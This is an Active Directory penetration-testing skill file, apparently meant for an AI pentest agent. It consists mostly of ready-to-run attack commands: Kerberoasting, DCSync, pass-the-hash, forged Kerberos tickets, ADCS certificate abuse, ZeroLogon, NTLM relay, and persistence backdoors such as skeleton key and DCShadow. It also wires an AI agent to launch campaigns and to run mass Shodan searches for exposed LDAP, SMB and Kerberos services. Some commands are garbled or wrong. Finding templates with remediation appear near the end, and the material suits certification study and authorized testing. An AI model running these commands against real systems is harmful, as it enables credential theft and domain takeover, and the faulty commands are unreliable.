pentest-active-directory

name	pentest-active-directory
description	Active Directory penetration testing skills covering reconnaissance, attacks, lateral movement, persistence, and ADCS exploitation
type	skill
version	1
ptes-phases	3.1, 4.1, 4.2, 4.4, 4.7, 4.9, 4.10, 5.1, 5.2
tags	active-directory, kerberos, lateral-movement, privilege-escalation, adcs, bloodhound

Active Directory Penetration Testing

Comprehensive Active Directory attack methodologies for OSCP+/OSEP preparation. Covers reconnaissance, credential attacks, lateral movement, persistence, and ADCS exploitation.

Quick Start

# Full AD assessment workflow
/ad-recon TARGET_DOMAIN
/ad-attacks --kerberoast
/ad-attacks --asreproast
/ad-attacks --dcsync
/adcs-enum

---

Phase 1: AD Reconnaissance

1.1 Initial Domain Information

# Get current domain context
whoami /user
echo %USERDOMAIN%
echo %LOGONSERVER%

# Domain info (PowerShell)
Get-ADDomain
Get-ADDomainController
Get-ADForest

# Find all domain controllers
nltest /dclist:DOMAIN
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN

# LDAP enumeration (ldapsearch)
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=com" -s sub "(objectClass=*)"
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=com" -s sub "(sAMAccountName=*)"

# LDAP enumeration (windapsearch)
python3 windapsearch.py -d DOMAIN -u "" --dc-ip DC_IP -m FULL

1.2 BloodHound Enumeration

# SharpHound (Windows)
SharpHound.exe -c All -d DOMAIN -o output.zip

# BloodHound.py (Linux)
bloodhound-python -d DOMAIN -u USER -p PASS -c All -ns DC_IP

# Import to BloodHound
neo4j console
bloodhound

# Cypher queries for attack paths
# Find shortest path to Domain Admin
MATCH p=shortestPath((n)-[*1..]->(m:Group)) WHERE m.name ENDS WITH "DOMAIN ADMINS" RETURN p

# Find users with unconstrained delegation
MATCH (n:User {unconstraineddelegation:true}) RETURN n

# Find Kerberoastable users
MATCH (n:User {hasspn:true}) RETURN n

# Find ASREPRoastable users
MATCH (n:User {dontreqpreauth:true}) RETURN n

1.3 CrackMapExec Enumeration

# SMB enumeration
crackmapexec smb TARGET_IP -u USER -p PASS --shares
crackmapexec smb TARGET_IP -u USER -p PASS --sessions
crackmapexec smb TARGET_IP -u USER -p PASS --disks
crackmapexec smb TARGET_IP -u USER -p PASS --users
crackmapexec smb TARGET_IP -u USER -p PASS --groups
crackmapexec smb TARGET_IP -u USER -p PASS --local-groups

# LDAP enumeration
crackmapexec ldap TARGET_IP -u USER -p PASS --baseDN "DC=domain,DC=com" --search-filter "(objectClass=*)"

# Kerberos enumeration
crackmapexec kerberos TARGET_IP -u USER -p PASS

# WinRM enumeration
crackmapexec winrm TARGET_IP -u USER -p PASS

# MSSQL enumeration
crackmapexec mssql TARGET_IP -u USER -p PASS --query "SELECT @@version"

# All modules
crackmapexec smb TARGET_IP -u USER -p PASS -M all

1.4 PowerView Enumeration

# Import PowerView
Import-Module ./PowerView.ps1

# Domain info
Get-NetDomain
Get-NetForest
Get-NetForestDomain

# Users
Get-NetUser -UserName "admin*"
Get-NetUser -Properties samaccountname,description,mail
Get-NetUser | Where-Object {$_.admincount -eq 1}
Get-NetUser | Where-Object {$_.hasspn -eq $true}
Get-NetUser | Where-Object {$_.dontreqpreauth -eq $true}

# Computers
Get-NetComputer
Get-NetComputer -OperatingSystem "*2019*"
Get-NetComputer -Unconstrained

# Groups
Get-NetGroup -GroupName "*admin*"
Get-NetGroupMember -GroupName "Domain Admins"
Get-NetGroupMember -GroupName "Enterprise Admins"

# GPO
Get-NetGPO
Get-NetGPOGroup

# Shares
Find-DomainShare
Find-InterestingDomainShareFile

# Sessions
Find-DomainUserLocation
Find-DomainProcess -UserName "admin*"

---

Phase 2: Credential Attacks

2.1 Kerberoasting

# Request TGS tickets (PowerView)
Get-DomainUser -SPN | Request-SPTicket

# Request TGS tickets (Rubeus)
Rubeus.exe kerberoast /output:hashes.txt

# Request TGS tickets (Impacket)
impacket-GetUserSPNs DOMAIN/USER:PASS -dc-ip DC_IP -request -outputfile hashes.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --force

# Crack with john
john --format=krb5tgs hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

2.2 ASREPRoasting

# Find ASREPRoastable users (PowerView)
Get-DomainUser -PreauthNotRequired

# Request ASREP hashes (Rubeus)
Rubeus.exe asreproast /format:hashcat /output:hashes.txt

# Request ASREP hashes (Impacket)
impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip DC_IP -request -outputfile hashes.txt
impacket-GetNPUsers DOMAIN/USER:PASS -request -outputfile hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

# Crack with john
john --format=krb5asrep hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

2.3 Password Spraying

# CrackMapExec
crackmapexec smb TARGET_IP -u users.txt -p 'Password123!'
crackmapexec smb TARGET_IP -u users.txt -p passwords.txt

# Kerbrute
kerbrute userenum -d DOMAIN --dc DC_IP users.txt
kerbrute password_spray -d DOMAIN --dc DC_IP users.txt 'Password123!'

# Impacket
impacket-smbexec DOMAIN/USER:PASS@TARGET
impacket-psexec DOMAIN/USER:PASS@TARGET

# Nxc (CrackMapExec successor)
nxc smb TARGET_IP -u users.txt -p 'Password123!' --continue-on-success

2.4 DCSync Attack

# Impacket secretsdump
impacket-secretsdump DOMAIN/USER:PASS@DC_IP
impacket-secretsdump -dc-ip DC_IP DOMAIN/USER:PASS

# Mimikatz (Windows)
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /domain:DOMAIN /user:krbtgt
mimikatz # lsadump::dcsync /domain:DOMAIN /user:admin

# Rubeus
Rubeus.exe misc::dcsync /user:krbtgt /domain:DOMAIN

# CrackMapExec
crackmapexec smb DC_IP -u USER -p PASS -M secretsdump

---

Phase 3: Lateral Movement

3.1 Pass-the-Hash

# Impacket
impacket-psexec -hashes LM:NTLM DOMAIN/USER@TARGET
impacket-smbexec -hashes LM:NTLM DOMAIN/USER@TARGET
impacket-wmiexec -hashes LM:NTLM DOMAIN/USER@TARGET

# CrackMapExec
crackmapexec smb TARGET -u USER -H LM:NTLM

# Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH /run:powershell

# Rubeus
Rubeus.exe ptt /ticket:base64ticket
Rubeus.exe *asktgs /ticket:base64ticket /service:cifs/TARGET

3.2 Pass-the-Ticket

# Export ticket from memory (Mimikatz)
mimikatz # sekurlsa::tickets /export

# Import ticket (Rubeus)
Rubeus.exe ptt /ticket:base64ticket

# Import ticket (Impacket)
export KRB5CCNAME=/path/to/ticket.ccache
impacket-psexec -k -no-pass DOMAIN/USER@TARGET

# Request TGS from TGT (Rubeus)
Rubeus.exe asktgs /ticket:TGT.kirbi /service:cifs/TARGET

3.3 Over-Pass-the-Hash

# Rubeus
Rubeus.exe asktgs /user:USER /domain:DOMAIN /rc4:NTLMHASH /service:ldap/DC.DOMAIN

# Mimikatz
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:USER /domain:DOMAIN /ntlm:HASH /run:powershell
# Then request TGS

3.4 Golden Ticket

# Requirements: krbtgt hash, domain SID, domain name
# Mimikatz
mimikatz # kerberos::golden /user:admin /domain:DOMAIN /sid:DOMAIN_SID /krbtgt:HASH /id:500 /group:512 /ptt

# Rubeus
Rubeus.exe golden /dc:DC_IP /domain:DOMAIN /user:admin /sid:DOMAIN_SID /krbtgt:HASH /id:500 /service:krbtgt /ptt

# Impacket ticketer
impacket-ticketer -nthash HASH -domain-sid DOMAIN_SID -domain DOMAIN admin
export KRB5CCNAME=admin.ccache
impacket-psexec -k -no-pass DOMAIN/admin@TARGET

3.5 Silver Ticket

# Requirements: Service account hash, domain SID, target SPN
# Mimikatz
mimikatz # kerberos::golden /domain:DOMAIN /sid:DOMAIN_SID /rc4:HASH /user:admin /service:cifs /target:TARGET /ptt

# Rubeus
Rubeus.exe silver /service:cifs/TARGET /domain:DOMAIN /sid:DOMAIN_SID /rc4:HASH /user:admin /ptt

3.6 Diamond Ticket

# Rubeus (enhanced Golden Ticket)
Rubeus.exe diamond /domain:DOMAIN /dc:DC_IP /user:admin /krbtgt:HASH /sid:DOMAIN_SID /ptt

---

Phase 4: ADCS Exploitation

4.1 ADCS Enumeration

# Certipy enumeration
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -vulnerable
certipy find -u USER@DOMAIN -p PASS -dc-ip DC_IP -stdout

# Certify (Windows)
Certify.exe find /vulnerable

# PKINITtools
python3 getTGT.py -k -no-pass -dc-ip DC_IP DOMAIN/USER
python3 getST.py -spn ldap/DC.DOMAIN -impersonate admin -k -no-pass -dc-ip DC_IP DOMAIN/USER

# Enumerate templates
certutil -template
certutil -config "" -ping

4.2 ESC1 - Misconfigured Certificate Template

# Find vulnerable templates
certipy find -u USER@DOMAIN -p PASS -vulnerable

# Request certificate
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN

# Authenticate with certificate
certipy auth -pfx admin.pfx -dc-ip DC_IP

# Get TGS for any service
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN -dns DC_IP

4.3 ESC2 - Misconfigured Certificate Template (Any Purpose)

# Request certificate with Any Purpose EKU
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn admin@DOMAIN

# Authenticate
certipy auth -pfx admin.pfx

4.4 ESC3 - Misconfigured Certificate Template (Enrollment Agent)

# Request enrollment agent certificate
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'EnrollmentAgent'

# Request certificate on behalf of another user
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE' -on-behalf-of 'DOMAIN\admin' -pfx agent.pfx

4.5 ESC4 - Vulnerable Certificate Template ACLs

# Add user to template ACL
certipy template -u USER@DOMAIN -p PASS -template 'VULN-TEMPLATE' -add 'USER2'

# Request certificate
certipy req -u USER2@DOMAIN -p PASS -ca 'CA-NAME' -template 'VULN-TEMPLATE'

4.6 ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

# Request certificate with arbitrary SAN
certipy req -u USER@DOMAIN -p PASS -ca 'CA-NAME' -template 'User' -upn admin@DOMAIN

# Authenticate
certipy auth -pfx admin.pfx

4.7 ESC7 - Vulnerable PKI ACLs

# Add user to CA ACL
certipy ca -u USER@DOMAIN -p PASS -ca 'CA-NAME' -add 'USER2'

# Request certificate
certipy req -u USER2@DOMAIN -p PASS -ca 'CA-NAME' -template 'Machine'

4.8 ESC8 - NTLM Relay to ADCS

# Relay to ADCS (Impacket)
impacket-ntlmrelayx -t http://DC_IP/certsrv -smb2support --adcs

# Trigger authentication (PetitPotam)
python3 PetitPotam.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP

# Or use EFSRPC
python3 EFSRPC.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP

# Request certificate
certipy req -u TARGET$@DOMAIN -k -no-pass -ca 'CA-NAME' -template 'Machine'

# Authenticate
certipy auth -pfx TARGET.pfx

---

Phase 5: Advanced Attacks

5.1 ZeroLogon (CVE-2020-1472)

# Impacket
impacket-netlogon DOMAIN/DC$@DC_IP -target-ip DC_IP

# Nexploit
nxc smb DC_IP -u '' -p '' -M zerologon

# Exploit and dump
impacket-secretsdump -just-dc DOMAIN/DC$@DC_IP

5.2 PetitPotam

# Trigger EFSRPC
python3 PetitPotam.py -d DOMAIN -u USER -p PASS TARGET_IP DC_IP

# Relay with ntlmrelayx
impacket-ntlmrelayx -t ldap://DC_IP --escalate-user USER

5.3 PrinterBug

# Trigger SpoolSample
python3 PrinterBug.py DOMAIN/USER:PASS@TARGET_IP DC_IP

# Or use dementor
python3 dementor.py -u USER -p PASS TARGET_IP DC_IP

5.4 Resource-Based Constrained Delegation (RBCD)

# Find computers with msDS-AllowedToActOnBehalfOfOtherIdentity
Get-DomainComputer -TrustedToAuth

# Add computer to RBCD
PowerView: Set-DomainObject -Identity TARGET -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'='SID_OF_ATTACKER_COMPUTER'}

# Request S4U2Self ticket
Rubeus.exe s4u /user:ATTACKER$ /rc4:HASH /domain:DOMAIN /msdsspn:cifs/TARGET /altservice:cifs /ptt

# Request S4U2Proxy ticket
Rubeus.exe s4u /user:ATTACKER$ /domain:DOMAIN /impersonate:admin /msdsspn:cifs/TARGET /ptt

5.5 Shadow Credentials

# Add key credential
pywhisker -d DOMAIN -u USER -p PASS --target TARGET --action 'add'

# Or use Whisker (Windows)
Whisker.exe add /target:TARGET /domain:DOMAIN

# Authenticate with PKINIT
certipy auth -pfx TARGET.pfx -dc-ip DC_IP

5.6 Constrained Delegation

# Find users with constrained delegation
Get-DomainUser -TrustedToAuth

# Request TGS
Rubeus.exe s4u /user:DELEGUSER /rc4:HASH /domain:DOMAIN /msdsspn:cifs/TARGET /ptt

5.7 Unconstrained Delegation

# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained

# Wait for TGT to appear in memory
mimikatz # sekurlsa::tickets

# Or use Rubeus
Rubeus.exe monitor /interval:5 /filteruser:admin

5.8 GPO Abuse

# Find GPOs
Get-NetGPO
Get-NetGPOGroup

# Edit GPO to add user
# 1. Find GPO path in SYSVOL
# 2. Edit GPO.xml or Groups.xml
# 3. Add user to local administrators

# Force GPO update
gpupdate /force

# Or use SharpGPOAbuse
SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Vulnerable GPO" --UserAccount "DOMAIN\attacker"

5.9 ACL Attacks

# GenericAll on User
# Can reset password without knowing current password
net user TARGET NewPass123! /domain

# GenericAll on Computer
# Can add computer to domain and perform RBCD

# GenericWrite on User
# Can update scriptPath for code execution
# Or update servicePrincipalName for Kerberoasting

# WriteDACL
# Can grant yourself additional permissions

# WriteOwner
# Can take ownership and grant yourself permissions

# ForceChangePassword
# Can change user password
net user TARGET NewPass123! /domain

# Self (Self-Membership)
# Can add yourself to group

5.10 Trust Attacks

# Enumerate trusts
Get-NetForestTrust
Get-NetDomainTrust

# SID History injection
# 1. Compromise trusted domain
# 2. Create Golden Ticket with SID history
mimikatz # kerberos::golden /domain:TRUSTED /sid:TRUSTED_SID /krbtgt:HASH /user:admin /sid:DOMAIN_SID /ptt

# Inter-realm TGT attack
# 1. Compromise child domain
# 2. Request TGT to parent domain
# 3. Escalate to enterprise admin

---

Phase 6: Persistence

6.1 Skeleton Key

# Mimikatz (requires admin on DC)
mimikatz # privilege::debug
mimikatz # misc::skeleton

# Authenticate with any password
crackmapexec smb TARGET -u USER -p 'mimikatz'

6.2 DSRM Backdoor

# Extract DSRM password
mimikatz # token::elevate
mimikatz # lsadump::sam

# Set DSRM password
mimikatz # dsrm::sync /user:admin /password:BackdoorPass123!

# Authenticate via DSRM
crackmapexec smb DC_IP -u admin -h HASH --local-auth

6.3 Custom SSP

# Mimikatz
mimikatz # misc::memssp

# Credentials logged to C:\Windows\System32\mimilsa.log

6.4 AdminSDHolder

# Add user to AdminSDHolder group
# All members of protected groups will have this user added

# PowerView
Add-DomainGroupMember -Identity 'CN=AdminSDHolder,CN=System,DC=domain,DC=com' -Members 'attacker'

# Or use ACL editor
# 1. Open ADUC with AD Advanced Features
# 2. Navigate to CN=System > AdminSDHolder
# 3. Add user with Full Control

6.5 DCShadow

# Mimikatz (requires DC compromise)
mimikatz # privilege::debug
mimikatz # lsadump::dcshadow /object:USER /attribute:servicePrincipalName /value:HOST/target

# Push changes
mimikatz # lsadump::dcshadow /push

---

Integration with AIRecon

# Start AD-focused campaign
pentestswarm-remote__start_campaign \
  target="DOMAIN" \
  scope="DOMAIN,DC_IP,10.0.0.0/24" \
  objective="find all AD vulnerabilities and attack paths" \
  mode="bugbounty"

# Get campaign findings
pentestswarm-remote__get_campaign_findings campaign_id="xxx"

# Get recon summary
pentestswarm-remote__get_campaign_recon_summary campaign_id="xxx"

---

MCP Tools Integration

# Shodan search for exposed AD services
mcp__shodan__shodan_search query="port:389 LDAP" max_results=100
mcp__shodan__shodan_search query="port:445 SMB" max_results=100
mcp__shodan__shodan_search query="port:88 Kerberos" max_results=100

# VirusTotal domain analysis
mcp__virustotal__get_domain_report domain="domain.com"

# OSINT reconnaissance
mcp__osint-remote__get_country_risk_signals query="country_name"

---

Finding Templates

Active Directory Certificate Services (AD CS) Misconfiguration

Severity: High/Critical CVSS: 8.8

Description: AD CS certificate templates are misconfigured allowing domain users to request certificates with arbitrary Subject Alternative Names (SAN), enabling authentication as any domain user including administrators.

Evidence:

• Template has msPKI-Certificate-Name-Flag set to ENROLLEE_SUPPLIES_SUBJECT
• Template has msPKI-Enrollment-Flag set to 0 or doesn't require manager approval
• Low-privileged users have enroll permissions

Impact:

• Full domain compromise via Golden Ticket
• Persistence via certificate-based authentication
• Lateral movement to any system

Remediation:

1. Remove ENROLLEE_SUPPLIES_SUBJECT flag from templates
2. Require manager approval for certificate requests
3. Restrict enroll permissions to specific security groups
4. Enable certificate revocation checking

---

Kerberoasting Vulnerability

Severity: High CVSS: 7.5

Description: Service accounts with SPNs configured use weak passwords that can be cracked offline after requesting TGS tickets.

Evidence:

• Users with servicePrincipalName attribute set
• TGS tickets successfully requested and cracked
• Password complexity below 15 characters

Impact:

• Service account compromise
• Lateral movement to services using compromised accounts
• Potential domain admin access

Remediation:

1. Use Group Managed Service Accounts (gMSA)
2. Implement 25+ character random passwords
3. Monitor for unusual TGS request patterns
4. Enable Kerberos armoring

---

ASREPRoasting Vulnerability

Severity: High CVSS: 7.5

Description: Domain users have "Do not require Kerberos preauthentication" enabled, allowing offline password cracking.

Evidence:

• Users with DONT_REQ_PREAUTH flag set
• ASREP hashes successfully requested
• Hashes cracked with dictionary attacks

Impact:

• User credential compromise
• Lateral movement opportunities
• Potential privilege escalation

Remediation:

1. Disable "Do not require Kerberos preauthentication" for all users
2. Implement strong password policies
3. Monitor for unusual AS request patterns

---

Unconstrained Delegation

Severity: High CVSS: 8.2

Description: Computers configured with unconstrained delegation store TGTs in memory, allowing attackers with access to these systems to impersonate any user.

Evidence:

• Computers with TRUSTED_FOR_DELEGATION flag
• TGTs found in LSASS memory
• High-privilege users authenticating to vulnerable systems

Impact:

• Full domain compromise via TGT theft
• Lateral movement to any system
• Persistence via Golden Ticket

Remediation:

1. Remove unconstrained delegation configuration
2. Implement constrained delegation with specific SPNs
3. Protect DCs and high-value systems
4. Monitor for TGT enumeration

---

Resource-Based Constrained Delegation (RBCD)

Severity: High CVSS: 8.0

Description: Attacker-controlled computer objects can be added to msDS-AllowedToActOnBehalfOfOtherIdentity on target systems, enabling S4U2Self/S4U2Proxy attacks.

Evidence:

• Non-admin users can create computer accounts (default: 10)
• Computer objects added to RBCD ACL
• S4U2Self tickets requested successfully

Impact:

• Lateral movement to any system with RBCD configured
• Code execution as SYSTEM
• Credential harvesting

Remediation:

1. Restrict computer account creation to admins
2. Audit msDS-AllowedToActOnBehalfOfOtherIdentity attribute
3. Implement LAPS for password management
4. Monitor for new computer account creation

---

PTES Mapping

PTES Phase	AD Technique	Command
3.1 Threat Modeling	Attack path analysis	BloodHound cypher queries
4.1 Vulnerability Analysis	Kerberoasting, ASREPRoast	GetUserSPNs.py, GetNPUsers.py
4.2 Vulnerability Analysis	ADCS misconfigurations	certipy find
4.4 Exploitation	DCSync	secretsdump.py
4.7 Post-Exploitation	Pass-the-Hash	psexec.py -hashes
4.9 Post-Exploitation	Golden Ticket	kerberos::golden
4.10 Post-Exploitation	RBCD	Rubeus s4u
5.1 Reporting	Finding documentation	Finding templates above
5.2 Reporting	Remediation guidance	Per-finding remediation

---

Additional Resources

• BloodHound Documentation
• Certipy GitHub
• Rubeus GitHub
• Impacket Examples
• AD CS Exploitation
• RBCD Attack